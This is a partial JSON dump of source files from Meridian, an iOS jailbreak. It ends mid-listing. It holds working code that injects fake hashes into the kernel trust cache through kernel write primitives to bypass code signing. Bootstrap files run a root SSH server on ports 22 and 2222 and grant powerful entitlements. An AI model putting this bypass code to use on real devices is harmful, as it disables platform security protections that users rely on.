[
  {
    "path": ".gitignore",
    "content": ".DS_Store\r\nxcuserdata\r\n*.xcuserstate\r\n.theos\r\nobj\r\nbuild_time\r\n**/bin\r\n\r\n!**/meridian-bootstrap/**/*\r\n\r\n"
  },
  {
    "path": "LICENSE.md",
    "content": "MIT License\n\nCopyright (c) 2017 Ben Sparkes\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "Meridian/Meridian/amfi.h",
    "content": "//\n//  amfi.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 19/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights reserved.\n//\n\n#include <stdint.h>\n#include \"helpers/cs_blobs.h\"\n\ntypedef struct {\n    const char *name;\n    uint64_t file_off;\n    int fd;\n    const void *addr;\n    size_t size;\n} img_info_t;\n\ntypedef char hash_t[20];\n\nstruct trust_chain {\n    uint64_t next;\n    unsigned char uuid[16];\n    unsigned int count;\n    hash_t hash[1];\n};\n\nint init_amfi(void);\nint inject_trust(const char *path);\n\nvoid *put_dick_in_macho(const char *path, uint64_t file_off);\nconst uint8_t *find_code_signature(img_info_t *info, uint32_t *cs_size);\nint find_best_codedir(const void *csblob, uint32_t blob_size, const CS_CodeDirectory **chosen_cd);\nunsigned int hash_rank(const CS_CodeDirectory *cd);\nint hash_code_directory(const CS_CodeDirectory *directory, uint8_t hash[CS_CDHASH_LEN]);\nconst char *get_hash_name(uint8_t hash_type);\nint open_img(img_info_t* info);\nvoid close_img(img_info_t* info);\n"
  },
  {
    "path": "Meridian/Meridian/amfi.m",
    "content": "//\n//  amfi.m\n//  Meridian\n//\n//  Created by Ben Sparkes on 19/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights reserved.\n//\n\n#import \"patchfinder64.h\"\n#import \"kernel.h\"\n#import \"amfi.h\"\n#import \"helpers.h\"\n#import <Foundation/Foundation.h>\n#import <CommonCrypto/CommonDigest.h>\n#import <mach-o/loader.h>\n#import <mach-o/dyld_images.h>\n#import <mach-o/fat.h>\n#import <mach-o/swap.h>\n#import <sys/stat.h>\n#import <sys/event.h>\n#import <dlfcn.h>\n#import <pthread.h>\n#import <sys/spawn.h>\n#include <sys/mman.h>\n\n#define ERROR(str, args...) LOG(\"ERROR: [%s] \" str, __func__, ##args)\n#define INFO(str, args...)  LOG(\"INFO: \" str, ##args)\n\nuint64_t trust_cache;\nuint64_t amficache;\n\nint init_amfi() {\n    trust_cache = find_trustcache();\n    amficache = find_amficache();\n    \n    NSLog(@\"[amfi] trust_cache = 0x%llx \\n\", trust_cache);\n    NSLog(@\"[amfi] amficache = 0x%llx \\n\", amficache);\n    \n    if (trust_cache == 0 ||\n        amficache == 0) {\n        return -1;\n    }\n    \n    return 0;\n}\n\n// creds to stek29(?)\nint inject_trust(const char *path) {\n    NSLog(@\"[amfi] signing %s...\", path);\n    \n    if (file_exists(path) != 0) {\n        NSLog(@\"[amfi] you wanka, %s doesn't exist!\", path);\n        return -1;\n    }\n    \n    FILE *fd = fopen(path, \"r\");\n    if (fd == NULL)\n    {\n        NSLog(@\"[amfi] failed to open file %s!\", path);\n        return -1;\n    }\n    \n    int num_found_hashes = 0;\n    void *hash_array = NULL;\n    \n    uint32_t magic;\n    fread(&magic, sizeof(magic), 1, fd);\n    fseek(fd, 0, SEEK_SET);\n    \n    int is_swap = (magic == MH_CIGAM || magic == MH_CIGAM_64 || magic == FAT_CIGAM || magic == FAT_CIGAM_64);\n    \n    if (magic == MH_MAGIC || magic == MH_MAGIC_64 ||\n        magic == MH_CIGAM || magic == MH_CIGAM_64)\n    {\n        // just single arch, just grab the hash\n        fclose(fd);\n        \n        void *cd_hash = put_dick_in_macho(path, 0);\n        \n        if (cd_hash != NULL)\n        {\n            num_found_hashes++;\n            hash_array = realloc(hash_array, num_found_hashes * CS_CDHASH_LEN);\n            memcpy(hash_array + ((num_found_hashes - 1) * CS_CDHASH_LEN), cd_hash, CS_CDHASH_LEN);\n        }\n    }\n    else if (magic == FAT_MAGIC || magic == FAT_MAGIC_64 ||\n             magic == FAT_CIGAM || magic == FAT_CIGAM_64)\n    {\n        struct fat_header header;\n        fread(&header, sizeof(header), 1, fd);\n        if (is_swap) swap_fat_header(&header, 0);\n        \n        int arch_offset = sizeof(header);\n        for (int i = 0; i < header.nfat_arch; i++)\n        {\n            struct fat_arch arch;\n            fseek(fd, arch_offset, 0);\n            fread(&arch, sizeof(struct fat_arch), 1, fd);\n            if (is_swap) swap_fat_arch(&arch, 1, 0);\n            \n            fseek(fd, arch.offset, 0);\n            \n            uint32_t magic;\n            fread(&magic, sizeof(magic), 1, fd);\n            \n            if (magic == MH_MAGIC || magic == MH_MAGIC_64 ||\n                magic == MH_CIGAM || magic == MH_CIGAM_64)\n            {\n                void *cd_hash = put_dick_in_macho(path, arch.offset);\n                \n                if (cd_hash != NULL)\n                {\n                    num_found_hashes++;\n                    hash_array = realloc(hash_array, num_found_hashes * CS_CDHASH_LEN);\n                    memcpy(hash_array + ((num_found_hashes - 1) * CS_CDHASH_LEN), cd_hash, CS_CDHASH_LEN);\n                }\n            }\n            \n            arch_offset += sizeof(arch);\n        }\n        \n        fclose(fd);\n    }\n    \n    if (num_found_hashes == 0)\n    {\n        NSLog(@\"[amfi] dood, we dinny find any hashes here :/ path: %s\", path);\n        return -1;\n    }\n    \n    LOG(\"found %d hashes to inject\", num_found_hashes);\n    \n    for (int i = 0; i < num_found_hashes; i++)\n    {\n        struct trust_chain fake_chain;\n        \n        fake_chain.next = rk64(trust_cache);\n        *(uint64_t *)&fake_chain.uuid[0] = 0xabadbabeabadbabe;\n        *(uint64_t *)&fake_chain.uuid[8] = 0xabadbabeabadbabe;\n        fake_chain.count = 1;\n        \n        memcpy(fake_chain.hash[0], &hash_array[i * CS_CDHASH_LEN], CS_CDHASH_LEN);\n        \n        char msg[40 + 1];\n        bzero(msg, sizeof(msg));\n        char *ptr = msg;\n        for (int i = 0; i < CS_CDHASH_LEN; i += sizeof(uint32_t))\n        {\n            ptr += sprintf(ptr, \"%x\", ntohl(*(uint32_t *)&fake_chain.hash[0][i]));\n        }\n        INFO(\"got cdhash: %s\", msg);\n        \n        uint64_t kernel_trust = 0;\n        mach_vm_allocate(tfp0, &kernel_trust, sizeof(fake_chain), VM_FLAGS_ANYWHERE);\n        \n        kwrite(kernel_trust, &fake_chain, sizeof(fake_chain));\n        wk64(trust_cache, kernel_trust);\n    }\n    \n    free(hash_array);\n    NSLog(@\"[amfi] signed %s \\n\", path);\n    return 0;\n}\n\nvoid *put_dick_in_macho(const char *path, uint64_t file_off)\n{\n    img_info_t img;\n    img.name = path;\n    img.file_off = file_off;\n    \n    if (open_img(&img) != 0)\n    {\n        NSLog(@\"[amfi] failed to open file: %s\", path);\n        close_img(&img);\n        return NULL;\n    }\n    \n    uint32_t cs_length = 0;\n    const uint8_t *cs = find_code_signature(&img, &cs_length);\n    if (cs == NULL)\n    {\n        NSLog(@\"[amfi] failed to find code signature: %s\", path);\n        close_img(&img);\n        return NULL;\n    }\n    \n    const CS_CodeDirectory *chosen_csdir = NULL;\n    if (find_best_codedir(cs, cs_length, &chosen_csdir) != 0)\n    {\n        NSLog(@\"[amfi] failed to find best csdir\");\n        close_img(&img);\n        return NULL;\n    }\n    \n    void *cd_hash = malloc(CS_CDHASH_LEN);\n    if (hash_code_directory(chosen_csdir, cd_hash) != 0)\n    {\n        NSLog(@\"[amfi] failed to hash code directory for file %s\", path);\n        close_img(&img);\n        return NULL;\n    }\n    \n    close_img(&img);\n    return cd_hash;\n}\n\n// Finds the LC_CODE_SIGNATURE load command\nconst uint8_t *find_code_signature(img_info_t *info, uint32_t *cs_size) {\n#define _LOG_ERROR(str, args...) ERROR(\"(%s) \" str, info->name, ##args)\n    if (info == NULL || info->addr == NULL) {\n        return NULL;\n    }\n    \n    // mach_header_64 is mach_header + reserved for padding\n    const struct mach_header *mh = (const struct mach_header*)info->addr;\n    \n    uint32_t sizeofmh = 0;\n    \n    switch (mh->magic) {\n        case MH_MAGIC_64:\n            sizeofmh = sizeof(struct mach_header_64);\n            break;\n        case MH_MAGIC:\n            sizeofmh = sizeof(struct mach_header);\n            break;\n        default:\n            _LOG_ERROR(\"your magic is not valid in these lands: %08x\", mh->magic);\n            return NULL;\n    }\n    \n    if (mh->sizeofcmds < mh->ncmds * sizeof(struct load_command)) {\n        _LOG_ERROR(\"Corrupted macho (sizeofcmds < ncmds * sizeof(lc))\");\n        return NULL;\n    }\n    if (mh->sizeofcmds + sizeofmh > info->size) {\n        _LOG_ERROR(\"Corrupted macho (sizeofcmds + sizeof(mh) > size)\");\n        return NULL;\n    }\n    \n    const struct load_command *cmd = (const struct load_command *)((uintptr_t) info->addr + sizeofmh);\n    for (int i = 0; i != mh->ncmds; ++i) {\n        if (cmd->cmd == LC_CODE_SIGNATURE) {\n            const struct linkedit_data_command* cscmd = (const struct linkedit_data_command*)cmd;\n            if (cscmd->dataoff + cscmd->datasize > info->size) {\n                _LOG_ERROR(\"Corrupted LC_CODE_SIGNATURE: dataoff + datasize > fsize\");\n                return NULL;\n            }\n            \n            if (cs_size) {\n                *cs_size = cscmd->datasize;\n            }\n            \n            return (const uint8_t*)((uintptr_t)info->addr + cscmd->dataoff);\n        }\n        \n        cmd = (const struct load_command *)((uintptr_t)cmd + cmd->cmdsize);\n        if ((uintptr_t)cmd + sizeof(struct load_command) > (uintptr_t)info->addr + info->size) {\n            _LOG_ERROR(\"Corrupted macho: Unexpected end of file while parsing load commands\");\n            return NULL;\n        }\n    }\n    \n    _LOG_ERROR(\"Didnt find the code signature\");\n    return NULL;\n#undef _LOG_ERROR\n}\n\n#define BLOB_FITS(blob, size) ((size >= sizeof(*blob)) && (size >= ntohl(blob->length)))\n\n// xnu-3789.70.16/bsd/kern/ubc_subr.c#470\nint find_best_codedir(const void *csblob, uint32_t blob_size, const CS_CodeDirectory **chosen_cd) {\n    *chosen_cd = NULL;\n    \n    const CS_GenericBlob *blob = (const CS_GenericBlob *)csblob;\n    \n    if (!BLOB_FITS(blob, blob_size)) {\n        ERROR(\"csblob too small even for generic blob\");\n        return 1;\n    }\n    \n    uint32_t length = ntohl(blob->length);\n    \n    if (ntohl(blob->magic) == CSMAGIC_EMBEDDED_SIGNATURE) {\n        const CS_CodeDirectory *best_cd = NULL;\n        int best_rank = 0;\n        \n        const CS_SuperBlob *sb = (const CS_SuperBlob *)csblob;\n        uint32_t count = ntohl(sb->count);\n        \n        if (!BLOB_FITS(sb, blob_size)) {\n            ERROR(\"csblob too small for superblob\");\n            return 1;\n        }\n        \n        for (int n = 0; n < count; n++){\n            const CS_BlobIndex *blobIndex = &sb->index[n];\n            \n            uint32_t type = ntohl(blobIndex->type);\n            uint32_t offset = ntohl(blobIndex->offset);\n            \n            if (length < offset) {\n                ERROR(\"offset of blob #%d overflows superblob length\", n);\n                return 1;\n            }\n            \n            const CS_GenericBlob *subBlob = (const CS_GenericBlob *)((uintptr_t)csblob + offset);\n            \n            if (type == CSSLOT_CODEDIRECTORY || (type >= CSSLOT_ALTERNATE_CODEDIRECTORIES && type < CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT)) {\n                const CS_CodeDirectory *candidate = (const CS_CodeDirectory *)subBlob;\n                \n                unsigned int rank = hash_rank(candidate);\n                \n                // Apple's code: `rank > best_rank` (kind of obvious, right?)\n                // So why is it I have to switch it to get it to work?\n                // macos-10.12.6-sierra/xnu-3789.70.16/bsd/kern/ubc_subr.c#534\n                if (best_cd == NULL || rank < best_rank) {\n                    best_cd = candidate;\n                    best_rank = rank;\n                    \n                    *chosen_cd = best_cd;\n                }\n            }\n        }\n    } else if (ntohl(blob->magic) == CSMAGIC_CODEDIRECTORY) {\n        *chosen_cd = (const CS_CodeDirectory *)blob;\n    } else {\n        ERROR(\"Unknown magic at csblob start: %08x\", ntohl(blob->magic));\n        return 1;\n    }\n    \n    if (chosen_cd == NULL) {\n        ERROR(\"didn't find codedirectory to hash\");\n        return 1;\n    }\n    \n    return 0;\n}\n\n// xnu-3789.70.16/bsd/kern/ubc_subr.c#231\nunsigned int hash_rank(const CS_CodeDirectory *cd) {\n    uint32_t type = cd->hashType;\n    \n    for (unsigned int n = 0; n < sizeof(hashPriorities) / sizeof(hashPriorities[0]); ++n) {\n        if (hashPriorities[n] == type) {\n            return n + 1;\n        }\n    }\n    \n    return 0;\n}\n\nint hash_code_directory(const CS_CodeDirectory *directory, uint8_t hash[CS_CDHASH_LEN]) {\n    uint32_t realsize = ntohl(directory->length);\n    \n    if (ntohl(directory->magic) != CSMAGIC_CODEDIRECTORY) {\n        ERROR(\"expected CSMAGIC_CODEDIRECTORY\");\n        return 1;\n    }\n    \n    uint8_t out[CS_HASH_MAX_SIZE];\n    uint8_t hash_type = directory->hashType;\n    \n    switch (hash_type) {\n        case CS_HASHTYPE_SHA1:\n            CC_SHA1(directory, realsize, out);\n            break;\n            \n        case CS_HASHTYPE_SHA256:\n        case CS_HASHTYPE_SHA256_TRUNCATED:\n            CC_SHA256(directory, realsize, out);\n            break;\n            \n        case CS_HASHTYPE_SHA384:\n            CC_SHA384(directory, realsize, out);\n            break;\n            \n        default:\n            INFO(\"Unknown hash type: 0x%x\", hash_type);\n            return 2;\n    }\n    \n    memcpy(hash, out, CS_CDHASH_LEN);\n    return 0;\n}\n\nconst char *get_hash_name(uint8_t hash_type) {\n    switch (hash_type) {\n        case CS_HASHTYPE_SHA1:\n            return \"SHA1\";\n            \n        case CS_HASHTYPE_SHA256:\n        case CS_HASHTYPE_SHA256_TRUNCATED:\n            return \"SHA256\";\n            \n        case CS_HASHTYPE_SHA384:\n            return \"SHA384\";\n            \n        default:\n            return \"UNKNWON\";\n    }\n    \n    return \"\";\n}\n\nint open_img(img_info_t* info) {\n#define _LOG_ERROR(str, args...) ERROR(\"(%s) \" str, info->name, ##args)\n    int ret = -1;\n    \n    if (info == NULL) {\n        INFO(\"img info is NULL\");\n        return ret;\n    }\n    \n    info->fd = -1;\n    info->size = 0;\n    info->addr = NULL;\n    \n    info->fd = open(info->name, O_RDONLY);\n    if (info->fd == -1) {\n        _LOG_ERROR(\"Couldn't open file\");\n        ret = 1;\n        goto out;\n    }\n    \n    struct stat s;\n    if (fstat(info->fd, &s) != 0) {\n        _LOG_ERROR(\"fstat: 0x%x (%s)\", errno, strerror(errno));\n        ret = 2;\n        goto out;\n    }\n    \n    size_t fsize = s.st_size;\n    info->size = fsize - info->file_off;\n    const void *map = mmap(NULL, fsize, PROT_READ, MAP_PRIVATE, info->fd, 0);\n    \n    if (map == MAP_FAILED) {\n        _LOG_ERROR(\"mmap: 0x%x (%s)\", errno, strerror(errno));\n        ret = 4;\n        goto out;\n    }\n    \n    info->addr = (const void*) ((uintptr_t) map + info->file_off);\n    ret = 0;\n    \n    out:;\n    if (ret) {\n        close_img(info);\n    }\n    return ret;\n    \n#undef _LOG_ERROR\n}\n\nvoid close_img(img_info_t* info) {\n    if (info == NULL) {\n        return;\n    }\n    \n    if (info->addr != NULL) {\n        const void *map = (void*) ((uintptr_t) info->addr - info->file_off);\n        size_t fsize = info->size + info->file_off;\n        \n        munmap((void*)map, fsize);\n    }\n    \n    if (info->fd != -1) {\n        close(info->fd);\n    }\n}\n"
  },
  {
    "path": "Meridian/Meridian/bootstrap/create-meridian-bootstrap.sh",
    "content": "#!/bin/bash\n\ncurrDir=$(dirname $0)\nmeridianDir=$currDir/../..\nbaseDir=$currDir/meridian-bootstrap\n\n# amfid_payload.dylib \ncp $meridianDir/amfid/bin/* $baseDir/meridian/\n\n# pspawn_hook.dylib\ncp $meridianDir/pspawn_hook/bin/* $baseDir/usr/lib/\n\n# jailbreakd\ncp $meridianDir/jailbreakd/bin/* $baseDir/meridian/jailbreakd/\n\n# remove all .DS_Store files\nfind $baseDir -name '.DS_Store' -delete\n\n# create tar archive\ncd $baseDir\nCOPYFILE_DISABLE=1 tar -cf meridian-bootstrap.tar ./*\nmv meridian-bootstrap.tar $currDir\n"
  },
  {
    "path": "Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/dropbear/dropbear.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>Label</key>\n\t<string>dropbear</string>\n\t<key>Program</key>\n\t<string>/meridian/dropbear/dropbear</string>\n\t<key>UserName</key>\n\t<string>root</string>\n\t<key>RunAtLoad</key>\n\t<true/>\n\t<key>KeepAlive</key>\n\t<true/>\n\t<key>StandardErrorPath</key>\n\t<string>/var/log/dropbear-stderr.log</string>\n\t<key>ProgramArguments</key>\n\t<array>\n\t\t<string>/meridian/dropbear/dropbear</string>\n\t\t<string>-p</string>\n\t\t<string>22</string>\n\t\t<string>-p</string>\n\t\t<string>2222</string>\n\t\t<string>-F</string>\n\t\t<string>-R</string>\n\t\t<string>-E</string>\n\t\t<string>-m</string>\n\t\t<string>-S</string>\n\t\t<string>/</string>\n\t</array>\n\t<key>StandardOutPath</key>\n\t<string>/var/log/dropbear-stdout.log</string>\n</dict>\n</plist>\n"
  },
  {
    "path": "Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/ent.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>com.apple.system-task-ports</key>\n\t<true/>\n\t<key>task_for_pid-allow</key>\n\t<true/>\n\t<key>com.apple.private.security.no-container</key>\n\t<true/>\n\t<key>platform-application</key>\n\t<true/>\n\t<key>get-task-allow</key>\n\t<true/>\n\t<key>com.apple.private.skip-library-validation</key>\n\t<true/>\n\t<key>com.apple.lsapplicationworkspace.rebuildappdatabases</key>\n\t<true/>\n</dict>\n</plist>\n"
  },
  {
    "path": "Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/jailbreakd/jailbreakd.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>Label</key>\n\t<string>jailbreakd</string>\n\t<key>Program</key>\n\t<string>/meridian/jailbreakd/jailbreakd</string>\n\t<key>EnvironmentVariables</key>\n\t<dict>\n\t\t<key>KernelBase</key>\n\t\t<string>0x0000000000000000</string>\n\t\t<key>KernProcAddr</key>\n\t\t<string>0x0000000000000000</string>\n\t\t<key>ZoneMapOffset</key>\n\t\t<string>0x0000000000000000</string>\n\t\t<key>AddRetGadget</key>\n\t\t<string>0x0000000000000000</string>\n\t\t<key>OSBooleanTrue</key>\n\t\t<string>0x0000000000000000</string>\n\t\t<key>OSBooleanFalse</key>\n\t\t<string>0x0000000000000000</string>\n\t\t<key>OSUnserializeXML</key>\n\t\t<string>0x0000000000000000</string>\n\t\t<key>Smalloc</key>\n\t\t<string>0x0000000000000000</string>\n\t</dict>\n\t<key>UserName</key>\n\t<string>root</string>\n\t<key>MachServices</key>\n\t<dict>\n\t\t<key>zone.sparkes.jailbreakd</key>\n\t\t<dict>\n\t\t\t<key>HostSpecialPort</key>\n\t\t\t<integer>15</integer>\n\t\t</dict>\n\t</dict>\n\t<key>RunAtLoad</key>\n\t<true/>\n\t<key>KeepAlive</key>\n\t<true/>\n\t<key>StandardErrorPath</key>\n\t<string>/var/log/jailbreakd-stderr.log</string>\n\t<key>StandardOutPath</key>\n\t<string>/var/log/jailbreakd-stdout.log</string>\n</dict>\n</plist>\n"
  },
  {
    "path": "Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/offsets.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict/>\n</plist>\n"
  },
  {
    "path": "Meridian/Meridian/bootstrap/meridian-bootstrap/private/var/log/lastlog",
    "content": ""
  },
  {
    "path": "Meridian/Meridian/common.h",
    "content": "#ifndef COMMON_H\n#define COMMON_H\n\n#include <stdint.h>             // uint*_t\n#include <Foundation/Foundation.h>\n\n#define LOG(str, args...) do { NSLog(@str \"\\n\", ##args); } while(0)\n\n#ifdef __LP64__\n#   define ADDR \"0x%016llx\"\n    typedef uint64_t kptr_t;\n#else\n#   define ADDR \"0x%08x\"\n    typedef uint32_t kptr_t;\n#endif\n\n#endif\n"
  },
  {
    "path": "Meridian/Meridian/helpers/cs_blobs.h",
    "content": "// credits @stek29 - https://github.com/stek29/electra/blob/amfid_fix/basebinaries/amfid_payload/\n// from: xnu osfmk/kern/cs_blobs.h\n\n#define CS_VALID                    0x0000001    /* dynamically valid */\n#define CS_ADHOC                    0x0000002    /* ad hoc signed */\n#define CS_GET_TASK_ALLOW           0x0000004    /* has get-task-allow entitlement */\n#define CS_INSTALLER                0x0000008    /* has installer entitlement */\n\n#define CS_HARD                     0x0000100    /* don't load invalid pages */\n#define CS_KILL                     0x0000200    /* kill process if it becomes invalid */\n#define CS_CHECK_EXPIRATION         0x0000400    /* force expiration checking */\n#define CS_RESTRICT                 0x0000800    /* tell dyld to treat restricted */\n#define CS_ENFORCEMENT              0x0001000    /* require enforcement */\n#define CS_REQUIRE_LV               0x0002000    /* require library validation */\n#define CS_ENTITLEMENTS_VALIDATED   0x0004000    /* code signature permits restricted entitlements */\n\n#define CS_ALLOWED_MACHO    (CS_ADHOC | CS_HARD | CS_KILL | CS_CHECK_EXPIRATION | CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV)\n\n#define CS_EXEC_SET_HARD            0x0100000    /* set CS_HARD on any exec'ed process */\n#define CS_EXEC_SET_KILL            0x0200000    /* set CS_KILL on any exec'ed process */\n#define CS_EXEC_SET_ENFORCEMENT     0x0400000    /* set CS_ENFORCEMENT on any exec'ed process */\n#define CS_EXEC_SET_INSTALLER       0x0800000    /* set CS_INSTALLER on any exec'ed process */\n\n#define CS_KILLED                   0x1000000    /* was killed by kernel for invalidity */\n#define CS_DYLD_PLATFORM            0x2000000    /* dyld used to load this is a platform binary */\n#define CS_PLATFORM_BINARY          0x4000000    /* this is a platform binary */\n#define CS_PLATFORM_PATH            0x8000000    /* platform binary by the fact of path (osx only) */\n#define CS_DEBUGGED                 0x10000000   /* process is currently or has previously been debugged and allowed to run with invalid pages */\n#define CS_SIGNED                   0x20000000   /* process has a signature (may have gone invalid) */\n#define CS_DEV_CODE                 0x40000000   /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */\n\n#define CS_ENTITLEMENT_FLAGS    (CS_GET_TASK_ALLOW | CS_INSTALLER)\n\ntypedef struct __attribute__((packed)) {\n    uint32_t magic;                 /* magic number (CSMAGIC_CODEDIRECTORY) */\n    uint32_t length;                /* total length of CodeDirectory blob */\n    uint32_t version;               /* compatibility version */\n    uint32_t flags;                 /* setup and mode flags */\n    uint32_t hashOffset;            /* offset of hash slot element at index zero */\n    uint32_t identOffset;           /* offset of identifier string */\n    uint32_t nSpecialSlots;         /* number of special hash slots */\n    uint32_t nCodeSlots;            /* number of ordinary (code) hash slots */\n    uint32_t codeLimit;             /* limit to main image signature range */\n    uint8_t hashSize;               /* size of each hash in bytes */\n    uint8_t hashType;               /* type of hash (cdHashType* constants) */\n    uint8_t platform;               /* platform identifier; zero if not platform binary */\n    uint8_t pageSize;               /* log2(page size in bytes); 0 => infinite */\n    uint32_t spare2;                /* unused (must be zero) */\n\n    char end_earliest[0];\n\n    /* Version 0x20100 */\n    uint32_t scatterOffset;         /* offset of optional scatter vector */\n    char end_withScatter[0];\n\n    /* Version 0x20200 */\n    uint32_t teamOffset;            /* offset of optional team identifier */\n    char end_withTeam[0];\n\n    /* Version 0x20300 */\n    uint32_t spare3;                /* unused (must be zero) */\n    uint64_t codeLimit64;           /* limit to main image signature range, 64 bits */\n    char end_withCodeLimit64[0];\n\n    /* Version 0x20400 */\n    uint64_t execSegBase;           /* offset of executable segment */\n    uint64_t execSegLimit;          /* limit of executable segment */\n    uint64_t execSegFlags;          /* executable segment flags */\n    char end_withExecSeg[0];\n} CS_CodeDirectory;\n\ntypedef struct __attribute__((packed)) {\n    uint32_t type;                  /* type of entry */\n    uint32_t offset;                /* offset of entry */\n} CS_BlobIndex;\n\ntypedef struct __attribute__((packed)) {\n    uint32_t magic;                 /* magic number */\n    uint32_t length;                /* total length of SuperBlob */\n    uint32_t count;                 /* number of index entries following */\n    CS_BlobIndex index[];           /* (count) entries */\n    /* followed by Blobs in no particular order as indicated by offsets in index */\n} CS_SuperBlob;\n\ntypedef struct __attribute__((packed)) {\n    uint32_t magic;                 /* magic number */\n    uint32_t length;                /* total length of blob */\n    char data[];\n} CS_GenericBlob;\n\ntypedef struct __SC_Scatter {\n    uint32_t count;            // number of pages; zero for sentinel (only)\n    uint32_t base;            // first page number\n    uint64_t targetOffset;        // offset in target\n    uint64_t spare;            // reserved\n} SC_Scatter;\n\n/*\n * Magic numbers used by Code Signing\n */\nenum {\n    CSMAGIC_REQUIREMENT = 0xfade0c00,               /* single Requirement blob */\n    CSMAGIC_REQUIREMENTS = 0xfade0c01,              /* Requirements vector (internal requirements) */\n    CSMAGIC_CODEDIRECTORY = 0xfade0c02,             /* CodeDirectory blob */\n    CSMAGIC_EMBEDDED_SIGNATURE = 0xfade0cc0,        /* embedded form of signature data */\n    CSMAGIC_EMBEDDED_SIGNATURE_OLD = 0xfade0b02,    /* XXX */\n    CSMAGIC_EMBEDDED_ENTITLEMENTS = 0xfade7171,     /* embedded entitlements */\n    CSMAGIC_DETACHED_SIGNATURE = 0xfade0cc1,        /* multi-arch collection of embedded signatures */\n    CSMAGIC_BLOBWRAPPER = 0xfade0b01,               /* CMS Signature, among other things */\n\n    CS_SUPPORTSSCATTER = 0x20100,\n    CS_SUPPORTSTEAMID = 0x20200,\n    CS_SUPPORTSCODELIMIT64 = 0x20300,\n    CS_SUPPORTSEXECSEG = 0x20400,\n\n    CSSLOT_CODEDIRECTORY = 0,                       /* slot index for CodeDirectory */\n    CSSLOT_INFOSLOT = 1,\n    CSSLOT_REQUIREMENTS = 2,\n    CSSLOT_RESOURCEDIR = 3,\n    CSSLOT_APPLICATION = 4,\n    CSSLOT_ENTITLEMENTS = 5,\n\n    CSSLOT_ALTERNATE_CODEDIRECTORIES = 0x1000,      /* first alternate CodeDirectory, if any */\n    CSSLOT_ALTERNATE_CODEDIRECTORY_MAX = 5,         /* max number of alternate CD slots */\n    CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT =          /* one past the last */\n       CSSLOT_ALTERNATE_CODEDIRECTORIES +\n       CSSLOT_ALTERNATE_CODEDIRECTORY_MAX,\n\n    CSSLOT_SIGNATURESLOT = 0x10000,                 /* CMS Signature */\n\n    CSTYPE_INDEX_REQUIREMENTS = 0x00000002,         /* compat with amfi */\n    CSTYPE_INDEX_ENTITLEMENTS = 0x00000005,         /* compat with amfi */\n\n    CS_HASHTYPE_SHA1 = 1,\n    CS_HASHTYPE_SHA256 = 2,\n    CS_HASHTYPE_SHA256_TRUNCATED = 3,\n    CS_HASHTYPE_SHA384 = 4,\n\n    CS_SHA1_LEN = 20,\n    CS_SHA256_LEN = 32,\n    CS_SHA256_TRUNCATED_LEN = 20,\n\n    CS_CDHASH_LEN = 20,                             /* always - larger hashes are truncated */\n    CS_HASH_MAX_SIZE = 48,                          /* max size of the hash we'll support */\n\n    /*\n     * Currently only to support Legacy VPN plugins,\n     * but intended to replace all the various platform code, dev code etc. bits.\n     */\n    CS_SIGNER_TYPE_UNKNOWN = 0,\n    CS_SIGNER_TYPE_LEGACYVPN = 5,\n};\n\n/*\n * Choose among different hash algorithms.\n * Higher is better, 0 => don't use at all.\n */\nstatic const uint32_t hashPriorities[] = {\n    CS_HASHTYPE_SHA1,\n    CS_HASHTYPE_SHA256_TRUNCATED,\n    CS_HASHTYPE_SHA256,\n    CS_HASHTYPE_SHA384,\n};"
  },
  {
    "path": "Meridian/Meridian/helpers/fucksigningservices.h",
    "content": "//\n//  fucksigningservices.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 07/01/2018.\n//  Copyright © 2018 Ben Sparkes. All rights reserved.\n//\n\n#ifndef fucksigningservices_h\n#define fucksigningservices_h\n\n#import \"ViewController.h\"\n#import <Foundation/Foundation.h>\n\n@interface fucksigningservices : NSObject\n\n+ (Boolean)appIsPirated:(NSString *)profilePath;\n\n@end\n\n#endif /* fucksigningservices_h */\n"
  },
  {
